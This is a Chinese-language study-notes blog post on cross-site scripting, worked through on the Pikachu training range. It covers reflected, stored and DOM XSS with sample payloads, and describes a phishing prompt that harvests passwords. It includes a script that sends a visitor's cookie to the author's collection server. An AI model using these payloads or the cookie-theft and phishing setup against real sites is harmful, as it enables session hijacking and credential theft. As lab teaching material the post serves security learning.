XSS跨站脚本攻击学习笔记(pikachu)
颓废了几天,该好好努力了。
XSS概述
XSS漏洞是web漏洞中危害较大的漏洞,是一种发生在web前端的漏洞,所以危害的对象也主要是前端用户,XSS可以用来进行钓鱼攻击,前端js挖矿,获取用户cookie。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。
XSS漏洞的常见类型
1.反射型,交互的数据一般不会存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
2.存储型交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面。
3.DOM型不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型。
XSS漏洞形成的原因
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致”精心构造”的脚本输入后,再输到前端时被浏览器当作有效代码解析执行从而产生危害
XSS漏洞测试流程
1, 在目标站点上找到输入点,比如查询接口,留言板等
2, 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理
3, 通过搜索定位到唯一字符,结合唯一字符前后的语法确认是否可以构造执行js的条件(构造闭合)
4, 提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明纯在XSS漏洞
Tips:
- 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
- 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
- 通过变化不同的script,尝试绕过后台过滤机制
下面开始靶场的练习
反射型XSS(get)
按照我们的测试流程,先输入一些可能会被过滤的字符和唯一字符
我们查看一下源代码
通过查找发现我们的唯一字符
发现没有任何的过滤,那么我们就可以构造一个xss的弹窗(不仅限于弹窗,这里只是做演示)
<script>alert('xss')</script>
发现前端限制了我们的输入长度
我们可以在开发者工具中进行修改
这样我们就可以插入我们的payload了
存储型XSS
一般都是在留言板内,把内容保存在数据库,这样每次访问这个页面就会触发xss
这个不多说,和反射型就这个区别
DOM型XSS
定义一个str来接收id为text的值
然后再把str写进a标签里面给了id为dom的div
这样我们可以构造把a标签添加属性的xss
' onclick = "alert('xss')">
给a标签一个单击的属性,里面写入xss代码
dom型xss-x
其实也是一样的
window.location.search获取url?后面的部分
然后进行url解码
获取text后面的内容
然后再发送给让往事都随风吧
' onclick = "alert('xss')">
当我们点击这句话的时候也一样会触发我们的xss代码
get型XSS获取cookie
pikachu有自带的XSS测试平台
配置登陆以后
进入cookie收集
目前当我们还没有进行测试的时候,是为空的,
当我们构造一个xss代码
<script>document.location = ‘http://10.2.10.35/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
跳转到我们接收cookie的页面,并且把cookie带入,构成一个完整的get请求
查看cookie.php文件,
这里改成你想要跳转的页面,伪造出你这个页面没问题
之后我们就可以把构造好的页面发送给别人
让别人点击以后查看效果
反射型xss(post)
我个人的理解是,在被攻击的用户打开某个存在xss漏洞的页面的时候,在已经登陆的状态下又点开了攻击者发来的链接,链接给存在xss漏洞的页面提交了post请求,JS获取到了cookie然后返回到攻击者的接口
首先先看靶场
通过提示我们知道账号密码是admin/123456
XSS钓鱼攻击(存储型XSS)
当打开我们带有钓鱼xss的网页时,会弹出一个进行身份验证的窗口,让你输入账号密码,账号密码就会发往我们的XSS后台
XSS跨站脚本攻击学习笔记(pikachu)的更多相关文章
- XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)
转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- web应用程序安全攻防---sql注入和xss跨站脚本攻击
kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...
- XSS(跨站脚本攻击) - 常用代码大全
XSS(跨站脚本攻击) - 常用代码大全-版本一 1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt> < ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- xss(跨站脚本攻击),crsf(跨站请求伪造),xssf
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...
- JAVA覆写Request过滤XSS跨站脚本攻击
注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
随机推荐
- Android进阶AIDL使用自定义类型
原文首发于微信公众号:jzman-blog,欢迎关注交流! 上篇文章中主要介绍从 AIDL 的使用方式以及 Android 开发中不同进程之间的通信,遗留的问题是如何在 AIDL 中使用自定义类型,具 ...
- 一位读者刚刚收割阿里、腾讯等大厂Offer,他说这些话一定要和你们说一下
本文来自读者投稿,作者是我的一位资深读者,也是我知识星球的球友,最近在春招中收割了很多大厂的Offer.看了他总结后,我发现很多地方和我当年参加校招的时候很相像,甚至比我那个时候还要优秀.分享给大家, ...
- captcha-killer burp验证码识别插件体验
0x01 使用背景 在渗透测试和src挖洞碰到验证码不可绕过时,就会需要对存在验证码的登录表单进行爆破,以前一直使用PKav HTTP Fuzzer和伏羲验证码识别来爆破,但是两者都有缺点PKav H ...
- python:简单爬取自己的一篇博客文章
1.爬取文章地址:https://www.cnblogs.com/Mr-choa/p/12495157.html 爬取文章的标题.具体内容,保存到文章名.txt 代码如下: # 导入requests模 ...
- 关于AUI框架自学心得
2018年8月25日今天星期六,这段时间接触到移动端布局框架AUI,借着早上一个小时时间大致看了一下开发文档(后面统称文档),对AUI一点认识. 目前2.0版本为最新版,这个版本和1.0比较升级很多. ...
- 百度找不到,但高手都知道(感觉他们都知道)的一个小细节--BUG调试报告
语言 Batch 前言 以前我一直不明白为什么那么多应用程序在读取"文件路径"作为参数时为什么总是在正式的"文件路径"前要加上个"-f".& ...
- 下载安装配置 Spark-2.4.5 以及 sbt1.3.8 打包程序
文章更新于:2020-03-29 按照惯例,文件附上链接放在文首. 文件名:spark-2.4.5-bin-without-hadoop.tgz 文件大小:159 MB 下载链接:https://mi ...
- C语言实现链栈以及基本操作
链栈,即用链表实现栈存储结构.链栈的实现思路同顺序栈类似,顺序栈是将数顺序表(数组)的一端作为栈底,另一端为栈顶:链栈也如此,通常我们将链表的头部作为栈顶,尾部作为栈底,如下下图所示: 将链表头部作为 ...
- Python设计模式(8)-抽象工厂
# coding=utf-8 这种方式反倒把事情做复杂了 可取之处在于有了更高层次的抽象 class IEmployee: def insert_employee(self): pass class ...
- stand up meeting 12-11
今天因组员时间问题,并没有集中在一起开会,但士杰当面和天赋同学进行了沟通,在lync与国庆进行了沟通. 天赋与重阳再次进行了了沟通,确定了“单词挑战”与“背单词”这两个模块集成的难度,决定先不进行集成 ...